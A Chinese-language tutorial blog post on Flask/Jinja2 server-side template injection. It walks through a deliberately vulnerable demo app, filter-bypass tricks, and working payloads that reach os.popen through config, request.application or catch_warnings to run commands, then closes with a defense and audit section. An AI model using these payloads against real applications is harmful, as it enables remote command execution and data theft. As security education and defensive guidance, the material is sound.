☰
Flask SSTI从原理到绕过:Jinja2模板注入实战与防御指南
2026/10/21 18:22:44 网站建设 项目流程

做Web安全测试这行,SSTI不算什么高深东西,但确实是把很多业务系统打穿的关键入口。尤其是Flask配Jinja2这套组合,代码里只要有一处render_template_string拼接了用户输入,整个应用的底线基本就没了。这篇文章我把Flask SSTI从原理到利用完整走一遍,重点讲清楚Jinja2那些被过滤限制后怎么绕过,以及怎么在真实场景里把漏洞从“能弹个表达式结果”推进到“能读文件、能执行命令”。适合刚接触服务端模板注入的新手,也适合写Flask后端的同学对照着查自己的代码有没有踩雷。

1. SSTI漏洞的本质与Jinja2的边界

1.1 模板注入死在哪个环节

理解SSTI之前,得先搞清楚模板引擎是怎么工作的。Jinja2是Python生态里非常主流的模板引擎,Flask默认就带它。它的核心逻辑是把模板文件里的占位符、控制结构替换成真实数据,然后输出HTML字符串给客户端。你在模板里写的{{ name }}会被引擎计算成一个变量的值,{% if %}这种标签会被执行成控制流。

问题就出在这个“计算”上。如果开发者把用户的输入直接拼进了模板字符串里,而不是通过render时传入变量,那么用户输入的可就不只是“数据”了——它变成了模板的一部分,会被Jinja2当作“代码”去解析。举一个最直白的例子:

from flask import Flask, request, render_template_string app = Flask(__name__) @app.route("/") def index(): name = request.args.get("name", "") return render_template_string("<h1>Hello " + name + "</h1>")

这段代码里,name参数的值被直接拼接到了模板字符串中。我如果请求/?name=world,页面就显示Hello world,看起来没毛病。但我如果把name传成{{7*7}},Jinja2会把{{7*7}}当成表达式执行,最终页面显示Hello 49。这就是SSTI——服务端模板注入,你的输入被当成模板代码执行了。

很多人会问,这跟XSS有什么区别?区别非常大。XSS是前端JavaScript被执行,影响的是浏览器里的用户;SSTI是服务端模板语法被执行,影响的是服务器本身。前者让你盗个cookie,后者可能直接让你拿到服务器权限。所以SSTI的严重程度天然高一个量级。

1.2 Flask和Jinja2为什么成了重灾区

Flask在国内使用量很大,原因就是轻量、灵活,写个接口十分钟就能跑起来。但轻量带来的副作用是“规范约束少”,模板渲染没有强制的安全边界。Django默认模板引擎对危险属性访问有限制,Jinja2默认虽然也有一些沙箱机制,但默认配置下能访问的对象范围仍然很宽,而且开发者只要用了render_template_string这个危险函数,就等于把边界彻底打开了。

另一个原因是Jinja2的语法和Python太像了。模板里能写表达式、能点属性、能调用方法,这给攻击者提供了极大的施展空间。你能在模板里完成的事情越多,绕过过滤的手段就越丰富。很多过滤规则是针对关键字做的,比如把__class__、os这些词过滤掉,但Jinja2本身的语法灵活度决定了这种过滤很容易被各种变形绕过。

1.3 SSTI的影响范围到底有多大

不是所有SSTI都能直接到RCE(远程代码执行),但它的危害下限也很可观。最低端的SSTI至少能回显表达式计算结果,泄露一些配置变量、环境变量;再往上走,利用Jinja2提供的全局对象和Python对象链,攻击者可以访问到Flask的request对象,从中提取请求头、session信息,甚至借助config对象读取应用密钥。如果过滤不严,能进入__subclasses__这个层次,很多利用链就直接通向命令执行了。

影响范围一句话总结:从信息泄露到文件读取再到代码执行,全看过滤规则严不严和攻击者耐心有多少。后面这些章节,我会按照探测、分析、绕过、利用、修复的顺序,把这些路数完整拆开讲。

2. 本地搭一个漏洞环境,先摸清注入点

2.1 三分钟搭一个本地Demo

做SSTI测试,我强烈建议先在本地起一个和自己的服务器环境一致的Demo,不要在线上直接瞎试。本地验证的好处是你能随时看报错、看日志,还能改代码调整过滤规则,方便验证绕过思路。

上面的Flask示例代码就够了,保存成app.py,在装了Flask的环境里执行:

pip install flask python app.py

服务默认跑在http://127.0.0.1:5000。你可以给它加一个过滤层,模拟实战中常见的过滤情况:

from flask import Flask, request, render_template_string import re app = Flask(__name__) def filter_payload(s): # 模拟常见过滤:去掉下划线和关键字 s = s.replace("__", "") s = re.sub(r"(class|mro|subclasses|os|import)", "", s) return s @app.route("/") def index(): name = request.args.get("name", "") name = filter_payload(name) return render_template_string("<h1>Hello " + name + "</h1>")

这个Demo会过滤掉双下划线、class、os等关键词,后面讲绕过的时候就拿这个环境做实验,方便对照。

2.2 用三个请求判断注入点能不能触发

拿到一个可能存在模板注入的页面,第一件事不是甩一堆payload,而是先做“最小化验证”。我的习惯是依次发三个请求:

  1. 传一个普通字符串,比如name=test,看页面是否正常回显。
  2. 传基础算术表达式{{7*7}},看页面是否显示49。
  3. 传一个变量引用{{7*'7'}},看页面是否有输出,或者报错。

第2步最关键。如果{{7*7}}显示的是49,说明Jinja2把你的输入当成模板表达式执行了。如果显示的是{{7*7}}原样,说明输入被转义或者压根没进模板解析。这时候别气馁,可以再试一组{# comment #}和{% if 1==1 %}yes{% endif %},分别测试注释语法和控制标签是否被解析,这是判断引擎是否解析用户输入的常用手段。

一种容易误判的情况:页面虽然执行了{{7*7}},但输出被HTML实体编码了,显示成49而不是49。这说明开发者用了render_template_string拼接,但表达式结果经过了转义处理。此时读取文件、命令执行可能受限,但我们仍然可以反向利用模板在响应头、响应体中加入内容来做进一步验证。

2.3 靠报错信息锁定后端框架和细节

如果注入点没有回显,可以用“报错探测”来收集信息。Jinja2的报错信息非常详细,会直接暴露模板渲染的源码片段、行号,甚至部分框架配置。请求一个显然会触发异常的payload,比如{{ 1/0 }},如果应用开了debug模式,页面上会直接打出完整的traceback。

debug模式在真实环境一般不会开启,但别忽略另一种渠道:传入一个未定义变量名,或者故意破坏模板结构,比如{%开头不闭合,应用日志和响应内容里往往也会带上模板解析器的报错信息,从中能判断出使用的模板引擎种类和版本特征。

有一点要提醒:线上环境报错探测要适度,不要狂轰滥炸把日志刷爆,不然很容易触发防守方的告警。本地实验则可以放开手脚。

3. Jinja2语法和对象链的利用原理

3.1{{ }}表达式里到底能做什么

Jinja2模板里{{ }}是表达式定界符,里面可以写变量、字面量、算术运算、比较运算、逻辑运算、过滤器、函数调用。很多人以为模板表达式只能做点简单输出,其实能做的远比想象中多。

比如:

{{ 7*7 }} {{ "abc"[0] }} {{ "a" ~ "b" }} {{ ''.__class__ }} {{ dict(a=1) }} {{ [].__class__.__name__ }}

注意~是Jinja2的字符串拼接运算符,[]可以索引访问,dict()能直接构造字典。这些基础能力本身不致命,但它们组合起来就能访问到Python对象的内部结构。

{% %}是语句定界符,里面可以写if、for等控制结构。在SSTI利用中,{% %}常用于构造循环、批量遍历,或者在受限情况下把表达式结果赋给变量再输出。我还见过有人用{% set %}语句把对象引用存到变量里,再逐步逼近关键对象,这种写法在绕过过滤时非常有效。

3.2 Jinja2内建对象有哪些可以摸的

Jinja2在渲染时会给模板注入一批全局对象,这是SSTI利用的第一步“垫脚石”。Flask环境下的Jinja2模板里,默认能直接访问的对象至少包括:

  • config:当前应用的配置对象,里面可能藏着SECRET_KEY、数据库连接串。
  • request:当前HTTP请求对象,包含请求头、参数、cookies、session。
  • session:会话对象。
  • g:应用全局变量。
  • url_for:Flask提供的URL构建函数。
  • get_flashed_messages:闪现消息函数。

这些对象本身就是通往Python内部的钥匙。比如request对象,它本质上是Flask框架里的一个Python类实例,那我就可以通过request.__class__拿到它的类,再向上访问到所有基类,再通过基类的__subclasses__()拿到进程里所有已经加载的类的列表。这个链条一旦打通,Python解释器里的一切几乎都暴露在你面前。

很多人会问,为什么模板里能访问到__class__这种“私有”属性?因为Jinja2在解析属性访问时,默认会尝试用getattr()去获取目标属性,而Python的getattr()本身不会拦截双下划线开头的属性名。所以".__class__"这种写法对getattr()来说是合法的,除非模板引擎做了专门的沙箱拦截。

3.3 对象链为什么能“越权”访问系统内部

SSTI利用里最经典的对象链就是__class__、__mro__、__subclasses__。我来拆解一下这条链的每一环在干什么。

先把一个Python对象丢进模板里,比如一个空字符串""。"".__class__取到这个字符串的类,就是<class 'str'>。然后"".__class__.__mro__返回这个类的方法解析顺序,也就是它继承链上的所有父类,常见的会有<class 'object'>,因为所有类最终都继承自object。拿到object类后,调用object.__subclasses__(),这个方法会返回当前解释器里所有直接或间接继承自object的子类。

这个列表非常庞大,里面包含了你应用的模型类、工具类,甚至系统加载的各种模块的类。关键在于,这些类里很可能藏着一类“自带危险能力”的对象——比如某些类的初始化方法里能访问到内建的__import__函数,或者某段代码直接引用了os模块。只要我能遍历这个子类列表,找到引用了os的那个类,我就能借助对象属性的传递,从模板里一步步摸到os.popen这种命令执行函数。

下面这段就是一个完整的“从0到命令执行”的链:

{{ config.__init__.__globals__['os'].popen('id').read() }}

我先访问config对象的__init__方法,这个方法属于某个模块内定义的函数,函数的__globals__属性保存着模块的全局命名空间字典,里面通常能找到os模块。拿到os模块后,popen('id')执行命令,再用.read()把结果读出来。

这条链不依赖__subclasses__,走的是“从已注入的Flask全局对象出发”的路线,在真实环境里经常比遍历子类列表更稳,因为config和request都是现成的对象,不用猜下标。

4. 突破过滤限制的实战绕过思路

4.1 绕过前先给过滤规则做个摸底

实战里的模板注入点几乎不可能完全裸奔,开发者和WAF总会加点过滤。所以拿到一个注入点,第一步不是急着执行命令,而是“摸规则”。我的做法是构造一组梯度payload,逐个测试,看哪个关键字被卡住。

比如用一个请求同时传多个payload,通过响应内容区分哪些词被过滤:

/?name={{ __class__ }} {{ "__" }} /?name={{ request }} {{ config }} /?name={{ ''.__class__.__mro__ }}

如果第一个请求里{{ __class__ }}出现异常,说明双下划线被换了或者被过滤;如果第二个请求里config输出为空,说明config关键词被严格处理;如果第三个请求报错提示mro不可访问,那就是过滤了mro。

摸清规则后,把所有被过滤的词整理成一张“禁用词表”,然后针对表里的每一类词做变形。这里有个通用经验:过滤通常分三种。第一种只过滤特定的几个关键词,比如class、os、import;第二种把整个双下划线__全部剔除;第三种更狠,对payload做正则匹配,只要包含(.*?)这种危险结构就直接拦掉。针对三种过滤,绕过思路是完全不一样的。

4.2 字符串拼接和属性访问的花样

第一类过滤,也就是只过滤关键词,处理起来最简单。核心思路是“把危险关键词在payload里拆开写”,利用Jinja2的字符串运算和过滤器在运行时重新组装。比如禁用class,就把__class__拆成__cl+ass__,写法如下:

{{ ""["__cl" "ass__"] }}

但Jinja2里字符串字面量并不能像Python那样直接相邻拼接,所以更常用的方式是利用~运算符:

{{ ""["__cl" ~ "ass__"] }}

还有更实用的方案是使用attr过滤器。Jinja2的attr(request, 'application')和request.application等价,但关键是attr的第一个参数是字符串,可以用来动态拼属性名:

{{ ""|attr("__cl" ~ "ass__") }}

它绕过的原理很简单:过滤规则看到__class__这个整体会拦,但我传进去的是__cl和ass__两段,拼装发生在Jinja2运行时的attr内部,字符串层面没有完整的关键词。

第二类过滤把__删掉,这种情况就得抛弃直接的属性访问。有两个思路:一个是用Jinja2的attr过滤器,因为attr(request, "class")不包含双下划线;另一个是借助request对象里的特殊属性来间接取到class。例如request|attr("environ")访问WSGI环境字典,再通过下标一层层找到需要的系统信息。environ里包含服务器软件、路径、请求头等内容,有时候光这些情报就已经很有价值了。

4.3 常用的过滤器和几个巧妙的写法

Jinja2的过滤器非常丰富,对绕过很有帮助的至少有这么几个:

  • attr:替代点属性访问,上面已经说过。
  • format:对字符串做格式化,可以在格式化串里动态嵌入表达式。
  • replace:字符串替换,可以绕过某些只匹配一次的模式。
  • join:把列表拼成字符串。
  • map:对序列的每个元素应用过滤器。
  • select:筛选序列元素。
  • string/int:类型转换。

举一个经典组合。目标要拿到__class__,但双下划线被删。可以用request.application替代:request.application本身就是Flask应用对象,再往下走__init__.__globals__。那__globals__里的双下划线怎么绕?用attr:

{{ request.application|attr("__init__")|attr("__globals__") }}

如果__globals__也被精准拦截,那就换用下标访问:request.application.__init__这个方法对象可以通过request.application|attr("__init__")拿到,然后想办法把它转成字符串或者直接用它下属性的名字做索引,就需要结合dict和get了。

还有一个我常用的技巧:很多过滤用“黑名单替换为空”的方式处理,如果它把class替换成空字符串,那么我给它传clclassass,替换完之后剩下class,依旧可以进过滤规则。这种利用替换实现“删一个补一个”的绕法在WAF里很常见,但要注意过滤规则用的是replace还是re.sub,re.sub默认也只会做非重叠匹配,但只要我构造的字符串重叠得当,一样能骗过去。

4.4 利用请求对象和原生对象降低payload复杂度

很多时候绕过过滤不需要把payload写得特别花哨,合理利用模板里已有的全局对象就能减少被过滤的“表面积”。

比如request.args本身就是用户请求参数的字典,可以把危险字符串拆到多个参数里,在模板里再拼回来。假设过滤掉了os,我可以传两个参数/?name={{ request.args.a }}&a=o&b=s,然后在模板里用request.args.a ~ request.args.b得到os。这种方式绕过了静态字符串层面的检测,payload的静态内容完全干净。

再比如request.__class__如果被过滤,可以用request.environ里的werkzeug.request字符串命中去定位类,或者用cycler、joiner这类Jinja2内置对象。这些对象平时很少有人用到,反而成了绕过检测的盲区。cycler对象是个类实例,它的__init__.__globals__同样能通向os模块,这就是“冷门对象利用”的价值所在。

5. 完整利用链:从读文件到执行命令

5.1 从__subclasses__里翻出你想要的类

等绕过手段备齐,就该进入正题了。先说通用的读文件、执行命令的路数。

核心思路是:在object.__subclasses__()产生的类列表里,寻找那个能通过它的__init__.__globals__访问到os模块的类。这个列表在Flask项目里通常有几百上千条,手动翻肯定不现实,所以我一般会先在本地环境里跑一遍,用脚本把每个类的__globals__里包含的模块名打印出来。

在真实请求中没法写脚本,那就得靠模板自身的循环能力了。

{% for c in ().__class__.__bases__[0].__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {{ c.__init__.__globals__['os'] }} {% endif %} {% endfor %}

catch_warnings是一个在导入warnings模块时就默认存在的类,它的__init__.__globals__里通常能直接找到os和sys等模块。我拿它当“跳板”已经踩过很多次坑,这个方法在Python 3.x的多个版本上依然有效。

如果你要读目标文件,比如读取/etc/passwd或者项目的app.py源码,找的是__builtins__里有open函数的类。多数情况下catch_warnings类也一样能满足需求,因为它的__globals__里会带__builtins__,而__builtins__['open']就是内建的open函数。

5.2 命令执行链的构造方法

拿到os模块之后,最直接的办法就是用popen。命令执行的payload拆成几个典型阶段:

第一步,拿到os模块:

{{ ().__class__.__bases__[0].__subclasses__() | select('__eq__', ...) }}

这一步通常不好直接写,更实用的写法是通过某个已知类来取:

{% set x = ().__class__.__bases__[0].__subclasses__() %}

但模板注入大部分是一次性表达式,哪有那么好的机会写循环?所以更常见的是在一条payload里把链写完:

{{ ().__class__.__bases__[0].__subclasses__()[index].__init__.__globals__['os'].popen('id').read() }}

这里的index就是被你锁定的目标类在__subclasses__()列表里的下标。不同的操作系统、不同的Flask版本、不同的依赖库都会影响下标的位置,所以实战里必须先通过回显把所有类名打印出来,再人工找下标。

另一个稳定的方式是用config或request.application起步,不依赖下标:

{{ config.__init__.__globals__['os'].popen('id').read() }}

这条链在Flask环境里非常稳,因为config对象是Flask初始化时创建的,它的__init__方法一定存在于某个模块的全局命名空间中,而那个命名空间里大概率已经导入了os。我实际测试下来,config链的成功率远高于遍历子类,优先推荐。

5.3 一个完整的命令回显复现

我在本地模拟一个带“双下划线替换为空”过滤的Flask应用,目标是通过SSTI执行id命令并把输出显示到页面上。

目标模板长这样:

def filter_payload(s): return s.replace("__", "")

我传入的payload想办法绕开所有双下划线:

{{ request.application|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("id")|attr("read")() }}

但这条payload仍然含有双下划线,会被替换干。所以我改用参数拆分:

/?name={{ request.application|attr(request.args.a)|attr(request.args.b)|attr(request.args.c)(request.args.d)|attr(request.args.e)(request.args.f)|attr(request.args.g)() }}&a=__init__&b=__globals__&c=__getitem__&d=os&e=popen&f=id&g=read

关键的危险词全放在URL参数里,模板本体只是机械地用attr一层层取属性,完全避开了双下划线过滤。实际请求后页面回显了当前用户的uid和gid,说明os.popen执行成功。这种“参数拆分 + attr动态取属性”的组合,是我个人用的最多的绕过套路。

如果是只能执行命令但看不到输出的场景,可以结合DNS外带核对结果,但那是另一个大话题,这里先不展开。

6. 常见问题与排查技巧实录

6.1 踩过的坑:回显丢失、对象找不到、命令无结果

SSTI利用最容易栽跟头的问题,我列几类。

第一类是表达式有回显但找不到对象。常见表现是页面显示一个<class 'tuple'>之类的输出,但后续访问__globals__或者__subclasses__时报错。原因多半是当前对象类型本身不支持你要访问的属性,或者被Jinja2沙箱拦了。排查办法是先拿一个已知有效的对象链,比如request.application.__init__.__globals__,在这个基础上往下走,不要死磕__subclasses__。

第二类是执行命令后没有回显。popen('id').read()如果放到模板里执行,理想情况是页面直接显示命令结果,但有时候页面空白。这是因为popen执行时可能有报错被吞掉,或者命令本身不存在,也可能是id命令输出了到stdout但没被正确捕获。我在本地验证过,os.popen('id').read()在Python 3.8+没问题,但如果目标Python环境是旧的,popen的返回值处理会有差异。这时可以改成os.popen('id 2>&1').read(),把stderr也合并进来。

第三类是大量列表输出导致页面响应过大。__subclasses__()动辄几百上千条,直接把整个列表输出,响应体积可能超限或者触发WAF拦截。正确姿势是先定位,再输出单个目标类的信息,不要贪心把整个列表灌到页面上。

6.2 调试SSTI的几种高效手段

我在本地调试SSTI时,最喜欢用Python的Jinja2交互环境,因为它比一遍遍发HTTP请求快得多:

python -c "from jinja2 import Template; print(Template('{{ 7*7 }}').render())"

如果要做对象链实验,直接在Jinja2环境里定义对象再渲染:

python -c "from jinja2 import Template; print(Template('{{ config }}').render(config={'a':1}))"

这种方式能快速验证一段payload在Jinja2语法层面是否合法,再去套Flask环境。当然最后一层验证还是要落到真实的Flask应用上,因为Jinja2和Flask环境里可访问的全局对象差异很大。

另一个调试技巧是使用注释符隔离代码段。模板里{# #}是注释,可以将payload分成多段,逐段启用、逐段输出中间结果,这样能精确定位是访问属性那一步失败了,还是调用方法那一步失败了。

{# {{ ''.__class__ }} #} {{ request.application|attr(\"__init__\") }}

先把第一段注释掉跑第二段,跑通了再反过来开第一段,这种“二分法”排查很实用。

6.3 排查速查表:从症状到对策

症状可能原因对策
{{7*7}}原样输出输入未进入模板解析确认是否用了render_template_string且直接拼接
{{7*7}}输出49但命令执行不回显有回显但对象链断了改用request.application起步,用attr取属性
报错filter not found过滤器名打错或版本不一致检查Jinja2版本,attr过滤器2.7之后才有
报错map object has no attribute调用了不支持的方法先把对象转成列表或用`
命令执行结果为空命令失败或输出被吞加2>&1,或改用popen链
payload被整体拦截WAF规则匹配到模板语法拆分参数、用attr、用request.args拼接关键词
os关键词被过滤黑名单机制用request.args.a动态拼出os,或找其他模块

日常排查时先看“页面有没有回显”,再走“对象链通没通”,最后判断“是语法问题还是沙箱问题”,三步下来基本能定位90%的问题。

7. 防御加固:把SSTI从根上堵死

7.1 根因修复:模板永远不要拼接用户输入

修复SSTI的第一原则很简单:永远不要把不可信的输入拼进模板字符串。render_template和render_template_string只接受固定的模板文件或常量字符串,用户输入一律通过参数传递:

@app.route("/") def index(): name = request.args.get("name", "") return render_template("hello.html", name=name)

在hello.html里写<h1>Hello {{ name }}</h1>,name会被当成数据,不会进入模板解析。这个改动看起来平平无奇,但它是“从源头消除漏洞”的所有手段里最有效的一条。

如果业务确实需要动态拼接模板,比如做一个模板编辑器,那就得把引擎环境收得非常紧。不要用默认的Environment,更推荐使用sandbox模块提供的SandboxedEnvironment,虽然它不是万无一失的保险箱,但至少默认会拦截__class__这类属性访问。同时,渲染动态模板前还要走“字符串白名单”校验,模板里只允许出现预先定义好的规则表达式,任何超出范围的字符直接拒绝。

7.2 安全配置和自定义过滤器的正确姿势

开发者在写代码时要养成几个习惯。

第一,默认关闭Flask的debug模式。debug模式不仅会把堆栈详情打到页面上,还可能导致交互式调试器被远程触发。生产环境debug=True等于把系统内部结构全部敞开,这种场景下SSTI的利用难度会大幅下降。

第二,模板全局变量和过滤器要做最小化暴露。Jinja2允许你给Environment指定globals,很多默认全局对象根本不用放进去:

from jinja2 import Environment env = Environment(globals={ "allowed_var": "safe_value", })

这样模板里能直接访问的就只有你显式暴露出来的对象,config、request这些Flask默认注入的全局变量就摸不到了。

第三,对用户传进模板的内容做严格过滤。如果你是平台方,用户只能提交纯文本模板片段,那就在渲染前用AST解析模板,只允许白名单内的表达式类型,禁止属性访问和方法调用:

from jinja2 import Environment from jinja2.meta import find_undeclared_variables from jinja2 import nodes def validate(template_str): env = Environment() ast = env.parse(template_str) for node in ast.find_all((nodes.Getattr, nodes.Call)): raise ValueError("dangerous operation")

7.3 代码审计和上线前检查清单

最后给做开发、做安全测试的人一份自查清单。我每次给项目做模板注入检查,基本都会把这几个点过一遍:

  • 全局搜索render_template_string,逐个人工确认拼接进模板的变量是否可信。
  • 搜索template关键字,确认没有从数据库或接口返回内容直接拼模板。
  • 检查所有的文件上传、模板编辑、邮件模板、通知模板功能,这类场景最容易隐藏SSTI。
  • 看有没有把config、request等全局对象暴露给模板的代码,如果有,即使没有SSTI,也可能导致信息泄露。

跑完清单,再用自动化工具扫一遍中间件层的WAF规则,确保{{、{%等模板定界符不会被当作正常输入放进渲染流程。

写在最后

SSTI漏洞的攻防其实是一场“谁更懂Jinja2”的较量。攻击者想方设法把模板语法拼进去,防御者则要把模板解析和用户输入彻底隔离。我个人在实际测试中的体会是,真正危险的从来不是某个框架的某个特性,而是开发者在写业务代码时那一瞬间的“图省事”——直接把用户参数拼进模板字符串。只要代码里没有这种图省事的写法,上面讲的所有绕过技巧都派不上用场。如果你现在手头有一个Flask项目,我建议你马上搜一下render_template_string,看到拼接用户输入的地方就立刻改掉,这比任何过滤规则都实在。这个方向再往下深入,还可以研究Jinja2沙箱的具体逃逸案例和不同Python版本之间的对象结构差异,那是另一个值得花时间的主题了。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询